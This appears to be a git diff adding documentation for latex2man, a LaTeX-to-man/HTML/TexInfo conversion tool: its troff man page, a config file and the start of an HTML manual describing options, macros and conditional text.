Tools " +.SH NAME + +.PP +Latex2man +is a tool to translate UNIX manual pages written with +LaTeXinto a format understood by the UNIX \fIman\fP(1)\-command. +Alternatively HTML, TexInfo, or LaTeX code can be produced too. +Output of parts of the text may be suppressed using the conditional text +feature (for this, LaTeX generation may be used). +.PP +.SH SYNOPSIS + +.PP +latex2man +[\fB\-t\fP\fItransfile\fP] +[\fB\-HMTL\fP] +[\fB\-h\fP] +[\fB\-V\fP] +[\fB\-C\fP\fIname\fP] +[\fB\-a\fP\fIchar\fP] +\fIinfile\fP +\fIoutfile\fP +.PP +.SH DESCRIPTION + +Latex2man +reads the file \fIinfile\fP +and writes \fIoutfile\fP\&. +The +input must be a LaTeX document using the latex2man +LaTeXpackage. +Latex2man +translates that document into the \fItroff\fP(1) +format using +the \fB\-man\fP +macro package. +.PP +Using the \fB\-H\fP +option, HTML code can be produced, instead of +\fItroff\fP(1)\&. +.PP +Using the \fB\-T\fP +option, TexInfo code can be produced, instead of +\fItroff\fP(1)\&. +.PP +Using the \fB\-M\fP +option, \fItroff\fP(1) +input is produced. +.PP +Using the \fB\-L\fP +option, LaTeX ouput can be produced, instead of +\fItroff\fP(1)\&. +.PP +.SH OPTIONS + +.TP +\fB\-t\fP\fItransfile\fP + Translation for user defined LaTeX macros. +.TP +\fB\-M\fP + Produce output suitable for the \fIman\fP(1) +command (default). +.TP +\fB\-H\fP + Instead of producing output suitable for the \fIman\fP(1) +command, HTML code is produced (despite the name of the command). +.TP +\fB\-T\fP + Instead of producing output suitable for the \fIman\fP(1) +command, TexInfo code is produced (despite the name of the command). The +generated \&.texi\-file +may be processed with \fImakeinfo\fP(1) +(to produce an \&.info\-file) +which in turn may be installed using +\fIinstall\-info\fP(1)\&. +The Info tags @dircategory and +@direntry are provided. +.TP +\fB\-L\fP + The LaTeX source is written to the \fIoutfile\fP\&. +This is +useful in conjunction with the \fB\-C\fP\fIname\fP +option. +.TP +\fB\-C\fP\fIname\fP + Output the conditional text for \fIname\fP\&. +If more +than one name should be given use quotes: \fB\-C\fP\fI\&'name1 name2 ...\&'\fP +.br +The following names are defined automatically: +.RS +.TP +.B * +\fB\-H\fP defines HTML +.TP +.B * +\fB\-T\fP defines TEXI +.TP +.B * +\fB\-M\fP defines MAN +.TP +.B * +\fB\-L\fP defines LATEX +.RE +.RS +.PP +.RE +.TP +\fB\-a\fP\fIchar\fP + Is used only in conjunction with \-T. +.br +Background: +.br +TexInfo ignores all blanks before the first word on a new line. In order +to produce some additional space before that word (using \\SP) some +character has to be printed before the additional space. By default this +is a \&. (dot). The \fIchar\fP +specifies an alternative for that first +character. Giving a blank to +\fB\-a\fP +supresses the indentation of a line. +.br +Note: only for the first \\SP of a series that \fIchar\fP +is printed. +.TP +\fB\-h\fP + Show a help text. +.TP +\fB\-V\fP + Show version information. +.PP +.SH FILES + +.PP +.TP +latex2man.tex + The LaTeX file containing this Man\-page. +.TP +latex2man.sty + The LaTeX package defining the environments and +commands. +.TP +latex2man.cfg + The configuration file for Latex2man +LaTeX\-package. +.TP +latex2man.trans + File containing example translations of user +defined LaTeX macros. +.TP +fancyheadings.sty + A LaTeX package used to typeset head\- and +foot lines. +.TP +fancyhdr.sty + A LaTeX package used to typeset head\- and foot +lines. +.TP +rcsinfo.sty + A LaTeX package used to extract and use RCS version +control information in LaTeX documents. +.PP +.SH SEE ALSO + +.PP +LaTeX,TexInfo, \fItroff\fP(1), +\fIgroff\fP(1), +\fImakeinfo\fP(1)\&. +.PP +.SH LaTeX COMMANDS + +.PP +The LaTeX package latex2man +is used to write the Man\-pages with +LaTeX\&.Since we translate into other text formats, not all LaTeX stuff can +be translated. +.PP +.SS PACKAGE OPTIONS +The latex2man +package accepts the following options: +.PP +.TP +fancy +use the LaTeX package fancyheadings\&. +.TP +fancyhdr +use the LaTeX package fancyhdr\&. +.TP +nofancy +neither the LaTeX package fancyheadings +nor +fancyhdr +are used. +.PP +The default option may be specified in the file latex2man.cfg\&. +.PP +.SS PACKAGE SPECIFIC ENVIRONMENTS +.PP +The following environments are provided by the package: +.TP +\\begin{Name}{chapter}{name}{author}{info}{title} +The +Name +environment takes five arguments: 1. the Man\-page chapter, +2. the name of the Man\-page, 3. the author, 4. some short information +about the tool printed in the footline of the Man\-page, and 5. a text +which is used as title, for HTML and LaTeX (it\&'s ignored for output of +the Man\-page or TeXinfo. The Name +environment must be the first +environment in the document. Processing starts with this environment. Any +text before this is ignored (exception: the setVersion and +setDate commands). (Note: all arguments of \\begin{Name} must +be written on one line). +.TP +\\begin{Table}{columns} +The Table +environment takes one +argument: the number of columns. +For example: +.PP +\\begin{Table}{3} +.br +Here & am & I \\\\\\hline +.br +A 1 & A 2 & A 3 \\\\ +.br +B 1 & B 2 & B 3 \\\\ +.br +\\end{Table} +.PP +will be typeset as: +.PP +.TS H +l l l . +Here am I +_ +A 1 A 2 A 3 +B 1 B 2 B 3 +.TE +.PP +\\hline may be used. All entries are typeset left justified. If the +Man\-page is formatted with \fItroff\fP(1) +and tables are used, the +\fItbl\fP(1) +preprocessor should be called, usually by giving +a \fB\-t\fP +to the call of \fItroff\fP(1)\&. +When viewing the generated +manula page using \fIman\fP(1), +\fItbl\fP(1) +is called automatically. +.TP +\\begin{Description} +is the same as \\begin{description} +.TP +\\begin{Description}[label] +is similar to +\\begin{description}, but the item labels have at minimum the size +of the (optional) word \fIlabel\fP\&. +The difference is visible only +in the DVI and PDF\-output, not in the troff, TexInfo or HTML output. +.RS +.TP +a +|a \\begin{description} +.TP +ab +|ab +.TP +abc +|abc +.RE +.RS +.PP +.RS +.RE +.TP +a +|a \\begin{Description} +.TP +ab +|ab +.TP +abc +|abc +.RE +.RS +.PP +.RS +.RE +.TP +a +|a \\begin{Description}[aa] +.TP +ab +|ab +.TP +abc +|abc +.RE +.RS +.PP +.RE +.PP +.SS ACCEPTED LaTeX ENVIRONMENTS +.PP +The following environments are accepted: +.RE +.TP +.B * +description +.TP +.B * +enumerate +.TP +.B * +itemize +.TP +.B * +verbatim +.TP +.B * +center +.PP +They may be nested: +.TP +.B * +Itemize and nested center: +.ce 100 +A centered line. +.br +Another centered line. +.ce 0 + +.TP +.B * +Another item an nested enumerate +.RS +.TP +1. +a +.TP +2. +b +.RE +.RS +.PP +.RE +.PP +.SS PACKAGE SPECIFIC MACROS +.PP +The following commands are provided: +.RE +.TP +\\Opt{option} +Option: \\Opt{\-o} will be typeset as \fB\-o\fP\&. +.TP +\\Arg{argument} +Argument: \\Arg{filename} will be typeset as +\fIfilename\fP\&. +.TP +\\OptArg{option}{argument} +Option with Argument: +.br +\\OptArg{\-o}{filename} will be typeset as \fB\-o\fP\fIfilename\fP\&. +.TP +\\OptoArg{option}{argument} +Option with optional Argument: +.br +\\OptoArg{\-o}{filename} will be +typeset as \fB\-o\fP[\fIfilename\fP]\&. +.TP +\\oOpt{option} +Optional option, e.g. \\oOpt{\-o} will be +typeset as [\fB\-o\fP]\&. +.TP +\\oArg{argument} +Optional argument, e.g. \\oArg{filename} +will be typeset as [\fIfilename\fP]\&. +.TP +\\oOptArg{option}{argument} +Optional option with argument, e.g. +.br +\\oOptArg{\-o}{filename} will be typeset as [\fB\-o\fP\fIfilename\fP]\&. +.TP +\\oOptoArg{option}{argument} +Optional option with optional +argument, e.g. +\\oOptoArg{\-o}{filename} will be typeset as [\fB\-o\fP[\fIfilename\fP]]\&. +.TP +\\File{filename} +used to typeset filenames, e.g. +\\File{filename} will be typeset as filename\&. +.TP +\\Prog{prog} +used to typeset program names, e.g. +\\Prog{latex2man} will be typeset as latex2man\&. +.TP +\\Cmd{command}{chapter} +used to typeset references to other +commands, e.g. \\Cmd{latex2man}{1} will be typeset as +\fIlatex2man\fP(1)\&. +.TP +\\Bar +is typeset as |\&. +.TP +\\Bs +(BackSlash) is typeset as \\\&. +.TP +\\Tilde +is typeset as a ~\&. +.TP +\\Dots +is typeset as \&... + +.TP +\\Bullet +us typeset as *\&. +.TP +\\setVersion{\&.\&.} +set \&.. as version information. +.TP +\\setVersionWord{\&.\&.} +set \&.. for the word \fIVersion:\fP +in +the footline. The default is \\setVersionWord{Version:}\&. +.TP +\\Version +returns the version information. +.TP +\\setDate{\&.\&.} +sets \&.. as date information. +.TP +\\Date +returns the date information. +.TP +\\Email{\&.\&.} +use to mark an Email address: +.br +\\Email{Juergen.Vollmer@informatik\-vollmer.de} is typeset as: +.br +\fBJuergen.Vollmer@informatik\-vollmer.de\fP\&. +.TP +\\URL{\&.\&.} +use to mark an URL: +\\URL{http://www.foo.de/\\Tilde vollmer} is typeset as +\fBhttp://www.foo.de/~vollmer\fP\&. +.TP +\\LatexManEnd +the input file is read and processed until reading +end\-of\-file or \\LatexManEnd (at the beginning of a line). +LaTeXignores this command. +.TP +\\Lbr, \\Rbr +is typeset as [ and ] (these variants are +needed only somtimes like in item[FooBar\\LBr xx \\Lbr]\&. Usually +[ ] will work. +.TP +\\LBr, \\RBr +is typeset as { and } (these variants are +needed when using { or } as arguments to macros. +.TP +\\Circum +is typeset as ^\&. +.TP +\\Percent +is typeset as %\&. +.TP +\\TEXbr +If processed with LaTeX causes a linebreak (i.e. is +equivalent to \\\\).In the output of latex2man +this macro is +ignored. +.TP +\\TEXIbr +If TexInfo output is generated, causes a linebreak (i.e. is +equivalent to \\\\),otherwise ignored. +.TP +\\MANbr +If Man\-Page output is generated, causes a linebreak (i.e. is +equivalent to \\\\),otherwise ignored. +.TP +\\HTMLbr +If HTML output is generated, causes a linebreak (i.e. is +equivalent to \\\\),otherwise ignored. +.TP +\\medskip +An empty line. +.TP +\\SP +Produces some extra space, works also at the beginning of lines. +The code of the second line looks like: +\\SP abc \\SP\\SP xx\\\\: +.br +abc \fB \fP\fB \fP\fB \fPxx +.br +\fB \fPabc \fB \fP\fB \fPxx +.br +\fB \fP\fB \fPabc \fB \fPxx +.PP +Note: Due to some ``problems\&'' with TexInfo, the lines starting with +\\SP +have a leading \&. (dot) in the TexInfo output, +see \fB\-a\fP\fIchar\fP\&. +.PP +.SS ACCEPTED MACROS FROM THE RCSINFO PACKAGE +.PP +.TP +\\rcsInfo $Id ...$ +if the LaTeX package rcsinfo +is used, +this command is used to extract the date of the Man\-page. +.TP +\\rcsInfoLongDate +if the LaTeX package rcsinfo +is used, this +command is used to typeset the date coded in the $Id ..$ string. +.PP +.SS ACCEPTED LaTeX MACROS +.PP +The following standard LaTeX commands are accepted: +.TP +\\section{\&.\&.} +The section +macro takes one argument: the +name of the Man\-page section. Each Man\-page consists of several sections. +Usually there are the following sections in a Man\-page: \fIName\fP +(special handling as environment, c.f. above), \fISynopsis\fP, +\fIDescription\fP, +\fIOptions\fP, +\fIFiles\fP, +\fISee Also\fP, +\fIDiagnostics\fP, +\fIReturn Values\fP, +\fIBugs\fP, +\fIAuthor\fP, +\fIversion\fP, +etc. +.PP +\fISynopsis\fP +must be the first section after the Name +environment. +.PP +Note: Do not use LaTeX\-macrosin section names. +.TP +\\subsection{\&.\&.} +works as well as +.TP +\\subsubsection{\&.\&.} +those. +.TP +\\emph{\&.\&.} +\\emph{example} is typeset as \fIexample\fP\&. +.TP +\\textbf{\&.\&.} +\\textbf{example} is typeset as \fBexample\fP\&. +.TP +\\texttt{\&.\&.} +\\textt{example} is typeset as example\&. +.TP +\\underline{\&.\&.} +\\underline{example} is typeset as +.ul +example of underline +\&. +.TP +\\date{\&.\&.} +uses \&.. as date. +.TP +\\verb+..+ +but only + is allowed as delimiter. +.TP +$<$ is typeset as <\&. +.TP +$>$ is typeset as >\&. +.TP +$<=$ is typeset as <=\&. +.TP +$>=$ is typeset as >=\&. +.TP +$=$ is typeset as =\&. +.TP +$<>$ is typeset as <>\&. +.TP +$\\ge$ +is typeset as $>=$. +.TP +$\\le$ +is typeset as $<=$. +.TP +$\\leftarrow$ +is typeset as $<--$. +.TP +$\\Leftarrow$ +is typeset as $<==$. +.TP +$\\rightarrow$ +is typeset as $-->$. +.TP +$\\Rightarrow$ +is typeset as $==>$. +.TP +\\{ is typeset as {\&. +.TP +\\} is typeset as }\&. +.TP +\\$ is typeset as $\&. +.TP +\\$ is typeset as $,should be used inside macro +arguments. +.TP +\\_ is typeset as _\&. +.TP +\\& is typeset as &\&. +.TP +\\# is typeset as #\&. +.TP +\\% is typeset as %\&. +.TP +\\, +is typeset as smaller blank \- \- (between the two \-) +.TP +\\\- +is used to mark hyphenation in a word. +.TP +\\\\ is typeset as a linebreak or marks the end of a column in the +Table +environment. +.TP +\\ (a \\ followed by a blank) is typeset as a blank, +although it cannot be used at the beginning of a line to make indentation +(see the \\SP +command). +.TP +~ is typeset as a blank. +.TP +\\copyright +is typeset as (C)\&. +.TP +\\noindent +.TP +\\hline +inside a Table +environment. +.TP +\\item +inside a itemize, +enumerate, +or +description +environment. +.TP +\\today +12 September 2005(see also the rcsinfo +LaTeXpackage). +.TP +\\ss,\\"a, ... +\\ss = , \\"a= , \\"o= , \\"u= , +\\"A= , \\"O= , \\"U= . It is allowed to surround these +macros in { and } in all places, even inside other macros, e.g. +.Vb + \\textbf{\\"a\\"o\\"u\\"A\\"O\\"U\\ss} + \\textbf{\\"a}{\\"o}{\\"u}{\\"A}{\\"O}{\\"U}{\\ss}} + \\textbf{} +.Ve +.PP +\fB \fP +.PP +If these letters are used in their LATIN\-1 8\-bit coding, they are +translated into the equivalent letter of the desired output format. +E.g. +becomes Ä +in HTML and @"A +in texinfo. +.PP +.SS CONDITIONAL TEXT +.PP +latex2man +preprocesses the LaTeX input to allow text to be used +conditionally. A special sort of LaTeX comment is used for that purpose. +.TP +.B * +%@% IF \fIcondition\fP %@% +.TP +.B * +%@% ELSE %@% +.TP +.B * +%@% END\-IF %@% +.PP +A line must contain only such a comment and nothing else. \fIcondition\fP +is +a boolean expression containing ``names\&'' and operators. The names given with +the \fB\-C\fP\fIname\fP +option have the value ``true\&'', while all other names +occuring in the expression are assumed to be ``false\&''\&. If the evaluation of +the boolean expression results in the value ``true\&'', the text in the +``then\&''\-part is used and the text in the optional ``else\&''\-part is skipped +(and vice versa). The IF/ELSE/END\-IF +may be nested. As boolean +operators the following are allowed: +.PP +.TS H +l l . +|| boolean or +&& boolean and +! negation +.TE +.PP +( and ) for grouping are allowed. +.PP +For example: +.br +%@% IF abc %@% +.br +abc set +.br +%@% IF xyz %@% +.br +xyz set +.br +%@% ELSE %@% +.br +xyz NOT set +.br +%@% END\-IF %@% +.br +%@% ELSE %@% +.br +abc NOT set +.br +%@% IF xyz || !XYZ %@% +.br +xyz OR !XYZ set +.br +%@% ELSE %@% +.br +xyz OR !XYZ NOT set +.br +%@% END\-IF %@% +.br +%@% END\-IF %@% +.PP +Run this manual page through latex2man +with e.g. +\fB\-C\fP\fI\&'abc XYZ\&'\fP +and have a look to the generated output. +(If simply running the LaTeX\-document through LaTeX,all lines are shown in the +\&.dvi file). +.br +abc NOT set +.br +xyz OR !XYZ set +.br +.PP +To check the conditional text feature, when latex2man +is called with +.TP +\fB\-C\fP\fIHTML\fP + the lines 1a, 2b, 3b, and 4b; +.TP +\fB\-C\fP\fITEXI\fP + the lines 1b, 2a, 3b, and 4b; +.TP +\fB\-C\fP\fIMAN\fP + the lines 1b, 2b, 3a, and 4b; +.TP +\fB\-C\fP\fILATEX\fP + the lines 1b, 2b, 3b, and 4a; +.TP +calling LaTeX without preprocessing +all lines +.PP +should be shown: +.PP +1b. The HTML conditional was not set. +.PP +2b. The TEXI conditional was not set. +.PP +3a. This text occurs only when viewing the MAN output +.PP +4b. The LATEX conditional was not set. +.PP +.SS TRANSLATION OF USER DEFINED MACROS +.PP +The user macro translation file (given by the [\fB\-t\fP\fItransfile\fP]) +contains +Perl +commands specifying the translation of LaTeX macros defined by +the user. These macros may have none, one or two arguments. The following code +is expected: +.PP +.TP +.B * +Comments start with a # up to the end of the line. +.TP +.B * +For a macro \\foo with no arguments, the following code must be +specified: +.RS +.TP +Translation to Man\-Pages +$manMacro{'foo'} = '...'; +.TP +Translation to HTML +$htmlMacro{'foo'} = '...'; +.TP +Translation to TexInfo +$texiMacro{'foo'} = '...'; +.RE +.RS +.PP +where \&... is the translation. +.PP +.RE +.TP +.B * +For a macro \\foo{..} with one argument, the following code must be +specified: +.RS +.TP +Translation to Man\-Pages +$manMacro1a{'foo'} = '...'; +.br +$manMacro1b{'foo'} = '...'; +.TP +Translation to HTML +$htmlMacro1a{'foo'} = '...'; +.br +$htmlMacro1b{'foo'} = '...'; +.RS +.PP +.RE +.TP +Translation to TexInfo +$texiMacro1a{'foo'} = '...'; +.br +$texiMacro1b{'foo'} = '...'; +.RE +.RS +.PP +where \&... is the translation. The 1a code is used before the +argument, while 1b is typeset after the argument is set. +.PP +.RE +.TP +.B * +For a macro \\foo{..}{..} with two arguments, the following code +must be specified: +.RS +.TP +Translation to Man\-Pages +$manMacro2a{'foo'} = '...'; +.br +$manMacro2b{'foo'} = '...'; +.br +$manMacro2c{'foo'} = '...'; +.TP +Translation to HTML +$htmlMacro2a{'foo'} = '...'; +.br +$htmlMacro2b{'foo'} = '...'; +.br +$htmlMacro2c{'foo'} = '...'; +.TP +Translation to TexInfo +$texiMacro2a{'foo'} = '...'; +.br +$texiMacro2b{'foo'} = '...'; +.br +$texiMacro2c{'foo'} = '...'; +.RE +.RS +.PP +where \&... is the translation. The 2a code is used before the +first argument, 2b between the two arguments and 2c is +typeset after the second argument is set. +.RE +.TP +.B * +The file latex2man.trans contains some example code. +.PP +.SS VERBATIM ENVIRONMENT +.PP +.Vb +This + {is} + \\texttt{a} + $test$ + _of_ +verbatim + and no @* TexInfo command +.Ve +.PP +.SS SUBSECTION WORKS +.PP +This is a \\subsection\&. +.PP +.SS Subsubsection works +.PP +This is a \\subsubsection\&. +.PP +.SS Subsubsection still works +.PP +This is another \\subsubsection\&. +.PP +.SS GENERAL REMARKS +.PP +.TP +1. +Empty lines are typeset as paragraph separators. +.TP +2. +The arguments of the LaTeX commands must not be split over several +lines. +.TP +3. +Do not nest calls to macros. +.TP +4. +Except the mentioned environment and macros, the usage of other LaTeX +environments or macros are not translated. Their usage will cause garbage +in the output. +.TP +5. +latex2man requires Perl version >= 5.0004_03. +.TP +6. +If you want to install the system with the distributed Makefile, +you need GNU\-make\&. +If you don\&'t have it, you should execute the +steps shown in the Makefile +manually. +.PP +.SS SOME BUG FIX TESTS +.PP +.TP +Leading . and \&' +Now leading \&. and \&' in generation troff output should work propperly, +since a \\& is added. Therfore the \\Dot macro has been deleted. +.br +Thanks to \fBFrank.Schilder@Mathematik.Tu\-Ilmenau.De\fP\&. +.br +Testcase 1: +.RS +.TP +\&'\\n\&' +\&.\&.\&. +.RE +.RS +.PP +Testcase 2: +.br +\&.foobar +Testcase 3: +.br +\&... +.PP +abc \&... +abc \&. efg \&' 123 +.PP +.RE +.TP +%in verbatim +A % in a \\verb and verbatim\-environment was not +emitted correctly. Thanks to Aleksey Nogin \fBnogin@cs.caltech.edu\fP +for the bug report and bug fix. +.PP +% abc +.PP +.Vb + % abc % +.Ve +.PP +but ignore comments following this: +.PP +.SH REQUIREMENTS + +.PP +.TP +Perl +latex2man +requires Perl version >= 5.0004_03. +.TP +Make +If you want to install the system with the distributed +Makefile, +you need GNU\-make\&. +If you don\&'t have it, you +should execute the steps shown in the Makefile +manually. +.TP +LaTeX LaTeX2e is required. +.PP +.SH CHANGES + +Please check the file \fBlatex2man\-CHANGES\fP +for the list of changes. +.PP +.SH VERSION + +.PP +Version: 1.19 of 2005/09/12\&. +.PP +.SH LICENSE AND COPYRIGHT + +.PP +.TP +Copyright +(C)1998, Dr. Jrgen Vollmer, Viktoriastrae 15, +D\-76133 Karlsruhe, Germany, \fBJuergen.Vollmer@informatik\-vollmer.de\fP +.PP +The actual version of Latex2man +may be found on my homepage +.br +\fBhttp://www.informatik\-vollmer.de/software/latex2man\fP\&. +.PP +.TP +License +This program can be redistributed and/or modified under the +terms of the LaTeX Project Public License Distributed from CTAN archives +in directory macros/latex/base/lppl.txt; +either version 1 of the +License, or any later version. +.PP +.TP +Misc +If you find this software useful, please send me a postcard from +the place where you are living. +.PP +.SH AUTHOR + +.PP +Dr. Jrgen Vollmer +.br +Viktoriastrae 15 +.br +D\-76133 Karlsruhe +.br +Email: \fBJuergen.Vollmer@informatik\-vollmer.de\fP +.br +WWW: \fBhttp://www.informatik\-vollmer.de\fP\&. +.PP +.\" NOTE: This file is generated, DO NOT EDIT. diff --git a/docs/latex2man/latex2man.cfg b/docs/latex2man/latex2man.cfg new file mode 100644 index 0000000..fb6d3b2 --- /dev/null +++ b/docs/latex2man/latex2man.cfg @@ -0,0 +1,12 @@ +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% Project: Documentation Tools +%% Descr: Latex --> MAN-page (groff -man), LaTeX package +%% Configuration of default options +%% Author: Dr. Jrgen Vollmer, Juergen.Vollmer@acm.org +%% $Id: latex2man.cfg,v 1.1.1.1 2006/10/18 16:57:05 jacka Exp $ +%% VERSION: 1.4 +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +\ExecuteOptions{fancyhdr} + +\endinput diff --git a/docs/latex2man/latex2man.html b/docs/latex2man/latex2man.html new file mode 100644 index 0000000..b91a963 --- /dev/null +++ b/docs/latex2man/latex2man.html @@ -0,0 +1,1146 @@ + + + +LATEX2MAN + +

    +LaTeX2man -
    +A Documentation Tool +

    +

    Dr. Jürgen Vollmer

    +

    2005/09/12

    +

    Version 1.19

    +

    +Latex2man +is a tool to translate UNIX manual pages written with +LaTeXinto a format understood by the UNIX man(1)-command. +Alternatively HTML, TexInfo, or LaTeX code can be produced too. +Output of parts of the text may be suppressed using the conditional text +feature (for this, LaTeX generation may be used). +

    Table of Contents

    + +

    +

    Synopsis

    + +

    +latex2man +[-ttransfile] +[-HMTL] +[-h] +[-V] +[-Cname] +[-achar] +infile +outfile +

    +

    Description

    + +Latex2man +reads the file infile +and writes outfile. +The +input must be a LaTeX document using the latex2man +LaTeXpackage. +Latex2man +translates that document into the troff(1) +format using +the -man +macro package. +

    +Using the -H +option, HTML code can be produced, instead of +troff(1). +

    +Using the -T +option, TexInfo code can be produced, instead of +troff(1). +

    +Using the -M +option, troff(1) +input is produced. +

    +Using the -L +option, LaTeX ouput can be produced, instead of +troff(1). +

    +

    Options

    + +
    +
    -ttransfile +
    +
    Translation for user defined LaTeX macros. +
    +
    -M +
    +
    Produce output suitable for the man(1) +command (default). +
    +
    -H +
    +
    Instead of producing output suitable for the man(1) +command, HTML code is produced (despite the name of the command). +
    +
    -T +
    +
    Instead of producing output suitable for the man(1) +command, TexInfo code is produced (despite the name of the command). The +generated .texi-file +may be processed with makeinfo(1) +(to produce an .info-file) +which in turn may be installed using +install-info(1). +The Info tags @dircategory and +@direntry are provided. +
    +
    -L +
    +
    The LaTeX source is written to the outfile. +This is +useful in conjunction with the -Cname +option. +
    +
    -Cname +
    +
    Output the conditional text for name. +If more +than one name should be given use quotes: -C'name1 name2 ...'
    + +The following names are defined automatically: +
      +
    • -H defines HTML +
    • +
    • -T defines TEXI +
    • +
    • -M defines MAN +
    • +
    • -L defines LATEX +
    • +
    +
    +
    -achar +
    +
    Is used only in conjunction with -T.
    + +Background:
    + +TexInfo ignores all blanks before the first word on a new line. In order +to produce some additional space before that word (using \SP) some +character has to be printed before the additional space. By default this +is a . (dot). The char +specifies an alternative for that first +character. Giving a blank to +-a +supresses the indentation of a line.
    + +Note: only for the first \SP of a series that char +is printed. +
    +
    -h +
    +
    Show a help text. +
    +
    -V +
    +
    Show version information. +
    +
    +

    +

    Files

    + +

    +

    +
    latex2man.tex +
    +
    The LaTeX file containing this Man-page. +
    +
    latex2man.sty +
    +
    The LaTeX package defining the environments and +commands. +
    +
    latex2man.cfg +
    +
    The configuration file for Latex2man +LaTeX-package. +
    +
    latex2man.trans +
    +
    File containing example translations of user +defined LaTeX macros. +
    +
    fancyheadings.sty +
    +
    A LaTeX package used to typeset head- and +foot lines. +
    +
    fancyhdr.sty +
    +
    A LaTeX package used to typeset head- and foot +lines. +
    +
    rcsinfo.sty +
    +
    A LaTeX package used to extract and use RCS version +control information in LaTeX documents. +
    +
    +

    +

    See Also

    + +

    +LaTeX,TexInfo, troff(1), +groff(1), +makeinfo(1). +

    +

    LaTeX commands

    + +

    +The LaTeX package latex2man +is used to write the Man-pages with +LaTeX.Since we translate into other text formats, not all LaTeX stuff can +be translated. +

    +

    Package Options

    + +The latex2man +package accepts the following options: +

    +

    +
    fancy
    +
    use the LaTeX package fancyheadings. +
    +
    fancyhdr
    +
    use the LaTeX package fancyhdr. +
    +
    nofancy
    +
    neither the LaTeX package fancyheadings +nor +fancyhdr +are used. +
    +
    +

    +The default option may be specified in the file latex2man.cfg. +

    +

    Package Specific Environments

    + +

    +The following environments are provided by the package: +

    +
    \begin{Name}{chapter}{name}{author}{info}{title}
    +
    The +Name +environment takes five arguments: 1. the Man-page chapter, +2. the name of the Man-page, 3. the author, 4. some short information +about the tool printed in the footline of the Man-page, and 5. a text +which is used as title, for HTML and LaTeX (it's ignored for output of +the Man-page or TeXinfo. The Name +environment must be the first +environment in the document. Processing starts with this environment. Any +text before this is ignored (exception: the setVersion and +setDate commands). (Note: all arguments of \begin{Name} must +be written on one line). +
    +
    \begin{Table}{columns}
    +
    The Table +environment takes one +argument: the number of columns. +For example: +

    +\begin{Table}{3}
    + +Here & am & I \\\hline
    + +A 1 & A 2 & A 3 \\
    + +B 1 & B 2 & B 3 \\
    + +\end{Table} +

    +will be typeset as: +

    + + + + + + + + + + + + + + + + + + + +
    Here am I
    A 1 A 2 A 3
    B 1 B 2 B 3
    +

    +\hline may be used. All entries are typeset left justified. If the +Man-page is formatted with troff(1) +and tables are used, the +tbl(1) +preprocessor should be called, usually by giving +a -t +to the call of troff(1). +When viewing the generated +manula page using man(1), +tbl(1) +is called automatically. +

    +
    \begin{Description}
    +
    is the same as \begin{description} +
    +
    \begin{Description}[label]
    +
    is similar to +\begin{description}, but the item labels have at minimum the size +of the (optional) word label. +The difference is visible only +in the DVI and PDF-output, not in the troff, TexInfo or HTML output. +
    +
    a
    +
    |a \begin{description} +
    +
    ab
    +
    |ab +
    +
    abc
    +
    |abc +
    +
    +
    +
    a
    +
    |a \begin{Description} +
    +
    ab
    +
    |ab +
    +
    abc
    +
    | abc +
    +
    +
    +
    a
    +
    |a \begin{Description}[aa] +
    +
    ab
    +
    |ab +
    +
    abc
    +
    |abc +
    +
    +
    +
    +

    +

    Accepted LaTeX Environments

    + +

    +The following environments are accepted: +

      +
    • description +
    • +
    • enumerate +
    • +
    • itemize +
    • +
    • verbatim +
    • +
    • center +
    • +
    +

    +They may be nested: +

      +
    • Itemize and nested center: +
      +A centered line.
      + +Another centered line. +
      +
    • +
    • Another item an nested enumerate +
        +
      1. a +
      2. +
      3. b +
      4. +
      +
    • +
    +

    +

    Package Specific Macros

    + +

    +The following commands are provided: +

    +
    \Opt{option}
    +
    Option: \Opt{-o} will be typeset as -o. +
    +
    \Arg{argument}
    +
    Argument: \Arg{filename} will be typeset as +filename. +
    +
    \OptArg{option}{argument}
    +
    Option with Argument:
    + +\OptArg{-o}{filename} will be typeset as -ofilename. +
    +
    \OptoArg{option}{argument}
    +
    Option with optional Argument:
    + +\OptoArg{-o}{filename} will be +typeset as -o[filename]. +
    +
    \oOpt{option}
    +
    Optional option, e.g. \oOpt{-o} will be +typeset as [-o]. +
    +
    \oArg{argument}
    +
    Optional argument, e.g. \oArg{filename} +will be typeset as [filename]. +
    +
    \oOptArg{option}{argument}
    +
    Optional option with argument, e.g.
    + +\oOptArg{-o}{filename} will be typeset as [-ofilename]. +
    +
    \oOptoArg{option}{argument}
    +
    Optional option with optional +argument, e.g. +\oOptoArg{-o}{filename} will be typeset as [-o[filename]]. +
    +
    \File{filename}
    +
    used to typeset filenames, e.g. +\File{filename} will be typeset as filename. +
    +
    \Prog{prog}
    +
    used to typeset program names, e.g. +\Prog{latex2man} will be typeset as latex2man. +
    +
    \Cmd{command}{chapter}
    +
    used to typeset references to other +commands, e.g. \Cmd{latex2man}{1} will be typeset as +latex2man(1). +
    +
    \Bar
    +
    is typeset as |. +
    +
    \Bs
    +
    (BackSlash) is typeset as \. +
    +
    \Tilde
    +
    is typeset as a ~. +
    +
    \Dots
    +
    is typeset as ... +
    +
    \Bullet
    +
    us typeset as *. +
    +
    \setVersion{..}
    +
    set .. as version information. +
    +
    \setVersionWord{..}
    +
    set .. for the word Version: +in +the footline. The default is \setVersionWord{Version:}. +
    +
    \Version
    +
    returns the version information. +
    +
    \setDate{..}
    +
    sets .. as date information. +
    +
    \Date
    +
    returns the date information. +
    +
    \Email{..}
    +
    use to mark an Email address:
    + +\Email{Juergen.Vollmer@informatik-vollmer.de} is typeset as:
    + +Juergen.Vollmer@informatik-vollmer.de. +
    +
    \URL{..}
    +
    use to mark an URL: +\URL{http://www.foo.de/\Tilde vollmer} is typeset as +http://www.foo.de/~vollmer. +
    +
    \LatexManEnd
    +
    the input file is read and processed until reading +end-of-file or \LatexManEnd (at the beginning of a line). +LaTeXignores this command. +
    +
    \Lbr, \Rbr
    +
    is typeset as [ and ] (these variants are +needed only somtimes like in item[FooBar\LBr xx \Lbr]. Usually +[ ] will work. +
    +
    \LBr, \RBr
    +
    is typeset as { and } (these variants are +needed when using { or } as arguments to macros. +
    +
    \Circum
    +
    is typeset as ^. +
    +
    \Percent
    +
    is typeset as %. +
    +
    \TEXbr
    +
    If processed with LaTeX causes a linebreak (i.e. is +equivalent to \\).In the output of latex2man +this macro is +ignored. +
    +
    \TEXIbr
    +
